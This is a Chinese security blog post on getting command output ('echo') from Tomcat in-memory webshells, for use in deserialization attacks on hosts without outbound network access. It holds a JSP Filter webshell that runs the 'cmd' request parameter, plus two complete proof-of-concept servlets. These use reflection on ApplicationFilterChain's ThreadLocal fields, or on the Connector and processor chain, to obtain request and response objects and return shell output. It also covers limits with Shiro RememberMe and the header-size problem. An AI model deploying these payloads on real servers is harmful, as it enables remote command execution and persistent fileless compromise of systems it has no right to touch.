少女祈祷中...

内存马Tomcat回显

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。其实关键就是获取request和response对象

参考:

示例

我们以上文提到的Tomcat Filter内存马为例,获取对应的回显,关键代码如下

<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
Scanner scanner = new Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

上述方式我们是通过JSP文件来注入内存马的。由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。

针对于反序列化进行内存马注入来达到无文件落地的目的,而jsp的request和response可以直接获取,但是反序列化的时候却不能,所以回显问题便需要考虑其中。

ThreadLocal Response回显

首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain类中找到这样两个变量_lastServicedRequest_和_lastServicedResponse_。并且这两个属性还是静态的,我们获取时无需实例化对象。

在我们熟悉的ApplicationFilterChain#internalDoFilter中,Tomcat会将request对象和response对象存储到这两个变量中

在静态代码块中的ApplicationDispatcher.WRAP_SAME_OBJECT为false,但是我们后续可以通过反射修改。

在ApplicationFilterChain#internalDoFilter 中发现,当WRAP_SAME_OBJECT为 true时 ,就会通过set方法将请求信息存入 lastServicedRequest 和 lastServicedResponse中

可以总结思路如下

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中
  2. 初始化lastServicedRequest和lastServicedResponse两个变量,默认为null
  3. 通过ThreadLocal#get方法将request和response对象从_lastServicedRequest_和_lastServicedResponse_中取出

反射修改static final
参考:
https://johnfrod.top/%e5%ae%89%e5%85%a8/java%e5%8f%8d%e5%b0%84%e4%bf%ae%e6%94%b9static-final%e4%bf%ae%e9%a5%b0%e7%9a%84%e5%ad%97%e6%ae%b5/

Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//再次反射修改feild的modif
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
//去除final
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
lastServicedResponseField.setAccessible(true);

反射存储request和response

//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

初始化变量

由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类

if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}

获取request、response变量

if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocalReq = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal threadLocalRes =(ThreadLocal) lastServicedResponseField.get(null);
HttpServletRequest request = (HttpServletRequest) threadLocalReq.get();
HttpServletResponse response= (HttpServletResponse) threadLocalRes.get();


}

请求两次,第一次修改变量值,第二次获取Request

完整Poc

package com.yyjccc.memorytrojan.Echo;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet("/echo")
public class Tomcat_Local extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {

try {
//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
//第一次请求进行初始化
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}
if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}
if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}
//第二次请求获取request变量
if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocalReq = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal threadLocalRes =(ThreadLocal) lastServicedResponseField.get(null);
HttpServletRequest request = (HttpServletRequest) threadLocalReq.get();
HttpServletResponse response= (HttpServletResponse) threadLocalRes.get();
if(request!=null || response!=null){
cmdEcho(request,response);
}
}
} catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
}
}


public void cmdEcho(HttpServletRequest request,HttpServletResponse response){
PrintWriter writer;
response.setCharacterEncoding("gbk");
try {
writer = response.getWriter();
String cmd = request.getParameter("cmd");
InputStream inputStream;
if(cmd!=null){
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}

} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

局限性

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。

通过全局存储Response回显

Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。
比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response

request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系

调用栈分析

首先我们先来寻找一下Tomcat中的一些全局Response。在AbstractProcessor类中,我们能够找到全局response

再来看看一个Servlet的调用栈

doGet:25, Tomcat_Echo
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用了Http11Processor#service方法

而Http11Processor继承了AbstractProcessor类,这里的response对象正是AbstractProcessor类中的属性,因此我们如果能获取到Http11Processor类,就能获取到response对象

所以调用栈继续往上翻,在AbstractProtcol内部类ConnectionHandler的register方法中存在着对Http11Processor的操作

我们接着往下看,调用栈调用了内部类ConnectoinHandler的process()方法,该方法会调用registry方法将processor存储在global中


该属性中存储了一个RequestInfo的List,其中在RequestInfo中我们也能获取Request

现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性

我们来看Connector类,存在和AbstractProtocol相关的protocolHandler属性

此时我们看调用链,该属性的值为一个Http11NioProtocol对象,并且该类继承了AbstractProtocol类

那么反射获取链

Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector
Tomcat#setConnect中

StandardService#addConnector如下,该方法会将Connector放入属性connectors中

下面的工作就是获取StandardService对象了

Tomcat类加载

下面废话一堆,就是平常审计代码中常见的操作–从当前线程拿到类加载器

Tomcat使用的并不是传统的类加载机制,我们来看下面的例子

我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。

Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

那么我们又如何将原有的父加载器和WebappClassLoader联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。

Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。
对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

这里通过调试,我们能够看到这里的线程类加载器是继承了WebAppClassLoader的ParallelWebAppClassLoader。

拿到类加载器后,发现后面的resource中的context是StandarContext
看看StandarContext中的context属性

再从StandarContext中反射拿到ApplicationContext

payload构造

思路总结

  1. 从当前线程拿到类加载器
  2. 获取ApplicationContext
  3. 获取从ApplicationContext中获取StandarService
  4. 从StandardService获取Connector
  5. Connector#getProtocolHandler方法来获取对应的protocolHandler,并反射获取内部类ConnectionHandler
  6. 获取gobal属性
  7. 获取processor,进一步获取Request

多层套娃下,反射拿到Request

获取StandardContext:
踩坑 : 反射时候最好使用Class.forName获取类
(最好别用getClass(),就怕获取的是子类的Class,无法获取父类的field)
本来获取resources是有getResources方法的,但是返回null

WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardContext standardContext = (StandardContext) ((WebResourceRoot) resourcesField.get(classLoader)).getContext();

获取ApplicationContext:
其实上面步骤就是为了这步,以前我们是靠着Request拿到ApplicationContext,但这次我们需要拿到Request

//获取ApplicationContext
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext context = (ApplicationContext) contextField.get(standardContext);

获取StandardService:

Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService service = (StandardService) serviceField.get(context);

获取connector:

Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(service);
Connector connector=connectors[0];

获取Handler:

ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handleField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handleField.setAccessible(true);
AbstractEndpoint.Handler handle = (AbstractEndpoint.Handler) handleField.get(protocolHandler);

获取processors:

Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(handle.getGlobal());

获取Request和Request:
值得注意的是我们最终获取的Request是org.apache.coyote.Request

最后需要的是org.apache.catalina.connector.Request

通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request和Response

Field reqfield = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqfield.setAccessible(true);
for (RequestInfo processor : processors) {
Request request= (Request) reqfield.get(processor);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

}

完整Poc

package com.yyjccc.memorytrojan.Echo;

import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/req")
public class Tomcat_Req extends HttpServlet{

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
try {
//获取StandardContext
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardContext standardContext = (StandardContext) ((WebResourceRoot) resourcesField.get(classLoader)).getContext();

//获取ApplicationContext
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext context = (ApplicationContext) contextField.get(standardContext);

//获取StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService service = (StandardService) serviceField.get(context);

//获取connectors
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(service);
Connector connector=connectors[0];

//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handleField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handleField.setAccessible(true);
AbstractEndpoint.Handler handle = (AbstractEndpoint.Handler) handleField.get(protocolHandler);

//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(handle.getGlobal());

//获取Request
Field reqfield = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqfield.setAccessible(true);
for (RequestInfo processor : processors) {
Request request= (Request) reqfield.get(processor);

org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();
cmdEcho(http_request,http_response);
}
} catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
throw new RuntimeException(e);
}

}

public void cmdEcho(HttpServletRequest request,HttpServletResponse response){
PrintWriter writer;
//解决windows乱码
response.setCharacterEncoding("gbk");
try {
writer = response.getWriter();
String cmd = request.getParameter("cmd");
InputStream inputStream;
if(cmd!=null){
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}

} catch (IOException e) {
throw new RuntimeException(e);
}

}
}

缺陷

利用链过长,会导致http包超长,可先修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这样再次发包的时候就不会有长度限制。还有就是操作复杂可能有性能问题,整体来讲该方法不受各种配置的影响,通用型较强。